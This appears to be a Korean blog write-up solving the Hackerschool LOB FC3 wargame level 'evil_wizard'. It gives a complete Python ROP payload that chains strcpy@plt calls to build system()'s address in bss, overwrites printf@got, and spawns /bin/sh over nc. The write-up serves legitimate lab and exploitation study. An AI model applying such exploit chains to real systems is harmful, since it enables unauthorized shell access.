오늘은 LOB FC3의 마지막 단계인 evil_wizard를 풀어볼것입니다. 먼저 소스코드 부터 보죠
우리는 bss영역에 system함수의 주소를 strcpy로 붙여넣고, 그 bss주소를 printf@got에 넣을 것입니다. 그러기 위해서 strcpy@plt와 printf@got
bss주소를 알아야합니다. 앞에 두개는
2019/02/23 - [해커스쿨 LOB] - LOB FC3 hell_fire -> evil_wizard
이 글을 통해 구하시면 되고, bss는 이렇게 구해주시면 됩니다.
그런다음 제가 이전 글에서 했던대로 printf@got을 system함수의 주소로 덮어쓰고 printf@plt를 ret로 준 뒤 인자로 /bin/sh를 주면 됩니다.
그래서 공격코드는
from struct import pack
p = lambda x : pack('<L', x)
sh = 0x0833603
strcpyplt = 0x08048438
printfplt = 0x08048408
printfgot = 0x0804984c
bss = 0x08049868
pop_pop_ret = 0x80484f3
system = 0x007507c0
address_c0 = 0x080484d9
address_07 = 0x08048374
address_75 = 0x080482b4
address_00 = 0x08048138
payload = ''
payload += 'A' * 268
payload += p(strcpyplt)
payload += p(pop_pop_ret)
payload += p(bss) + p(address_c0)
payload += p(strcpyplt)
payload += p(pop_pop_ret)
payload += p(bss+1) + p(address_07)
payload += p(strcpyplt)
payload += p(pop_pop_ret)
payload += p(bss+2) + p(address_75)
payload += p(strcpyplt)
payload += p(pop_pop_ret)
payload += p(bss+3) + p(address_00)
payload += p(strcpyplt)
payload += p(pop_pop_ret)
payload += p(printfgot) + p(bss)
payload += p(printfplt)+ 'AAAA' + p(sh)
print(payload)
이렇게 됩니다. 이걸 nc를 통해 접속하는 프로그램의 표준입력으로 주게되면
요로코롬 쉘이 따지게 됩니다. (grin)
'해커스쿨 LOB' 카테고리의 다른 글
LOB FC3 hell_fire -> evil_wizard (0) | 2019.02.23 |
---|---|
LOB FC3 dark_eyes -> hell_fire (0) | 2019.02.22 |
해커스쿨 lOB FC3 iron_golem -> dark_eyes (0) | 2019.02.22 |
LOB FC3 gate -> iron_golem (0) | 2019.02.22 |
FC3 보호기법에 대해 (0) | 2019.02.22 |